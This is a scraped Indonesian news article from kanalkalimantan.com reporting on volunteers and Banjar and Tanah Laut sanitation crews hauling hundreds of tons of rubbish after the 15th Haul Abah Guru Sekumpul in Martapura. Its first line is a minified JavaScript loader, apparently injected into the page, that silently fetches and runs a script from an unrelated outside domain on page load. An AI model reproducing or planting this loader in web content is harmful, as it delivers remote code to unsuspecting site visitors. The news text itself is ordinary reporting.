(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Jelang subuh sekitar pukul 04.45 Wita, Senin (2/3/2020) relawan pengangkut sampah pasca Haul 15 Sekumpul bekerja non stop. Ribuan ton sampah dikumpulkan dari titik-titik kumpul sampah seputaran kawasan Sekumpul dan sekitarnya. Ada puluhan Relawan Gasak bersama masyarakat dan pasukan orange dari Dinas Lingkungan Hidup bergerak cepat mengangkut puluhan ton sampah yang kebanyakan plastik bekas makan dan minum. Tanpa pamrih bahkan rela tak dibayar mereka dengan ikhlas bekerja mengangkut sampah. Hilir mudik puluhan pikup serta kendaraan roda tiga mengisi sampah, lalu kemudian mengantar ke titik sementara sebelum diangkut ke TPA oleh armada truk Dinas LH Banjar.
Setidaknya ada 64 mobil pikup dari Relawan Gasak bersama masyarakat dan Dinas LH Banjar bahu membahu mengumpulkan sampah untuk diangkut, baik di lingkungan titik pusat acara haul hingga perbatasan dengan kota tetangga Banjarbaru tidak luput dari lokasi jemaah berkumpul.
“Alhamdulillah, tingkat kesadaran masyarakat untuk membantu membersihkan sampah pasca Haul ke-15 Abah Guru Sekumpul ini sangat luar biasa. Malam ini sejak pukul 24.00 Wita, hingga dini hari Relawan Gasak bersama masyarakat dengan sigap membersihkan sampah,†jelas Kepala Dinas LH Kabupaten Banjar Boyke W Tristiyanto.
Kepala Dinas LH Kabupaten Banjar berharap sampah pasca haul yang diprediksi lebih banyak dari tahun sebelumnya hingga mencapai 800 ton ini, bisa dengan cepat terangkut ke TPA Regional di Cempaka Banjarbaru. Apalagi pihaknya mendapat banyak dukungan relawan dan masyarakat.
Di tempat terpisah tepatnya di bundaran simpang empat Banjarbaru, beberapa petugas pasukan orange yang sengaja didatangkan dari Pelaihari juga tak pantang mundur, turut membantu proses pembersihan sampah di sepanjang jalan A Yani, dengan menurunkan 3 unit truk pengangkut sampah dari Dinas Perumahan Rakyat, Kawasan Permukiman dan Lingkungan hidup (DPRKPLH) Kabupaten Tanah Laut.
“Kita dari tanah laut mengirimkan 3 truk dan beberapa petugas kita, ditambah WC portable, nantinya sampah yang akan dikumpulkan di truk akan kita kirim ke TPA regional,” ujar Tajudin petugas DPRKPLH Tanah Laut. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.